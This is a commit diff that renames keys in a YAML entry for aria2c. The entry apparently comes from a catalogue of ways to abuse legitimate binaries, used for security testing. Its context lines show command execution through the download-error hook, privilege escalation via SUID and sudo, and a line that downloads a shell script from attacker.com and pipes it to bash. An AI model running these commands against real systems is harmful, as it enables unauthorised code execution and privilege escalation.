Adopt new function names
This commit is contained in:
@@ -1,7 +1,7 @@
|
||||
---
|
||||
description: Note that the subprocess is immediately sent to the background.
|
||||
functions:
|
||||
execute-non-interactive:
|
||||
command:
|
||||
- code: |
|
||||
COMMAND='id'
|
||||
TF=$(mktemp)
|
||||
@@ -10,14 +10,14 @@ functions:
|
||||
aria2c --on-download-error=$TF http://x
|
||||
- description: The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID.
|
||||
code: aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa
|
||||
suid-enabled:
|
||||
suid:
|
||||
- code: |
|
||||
COMMAND='id'
|
||||
TF=$(mktemp)
|
||||
echo "$COMMAND" > $TF
|
||||
chmod +x $TF
|
||||
./aria2c --on-download-error=$TF http://x
|
||||
sudo-enabled:
|
||||
sudo:
|
||||
- code: |
|
||||
COMMAND='id'
|
||||
TF=$(mktemp)
|
||||
|
||||
Reference in New Issue
Block a user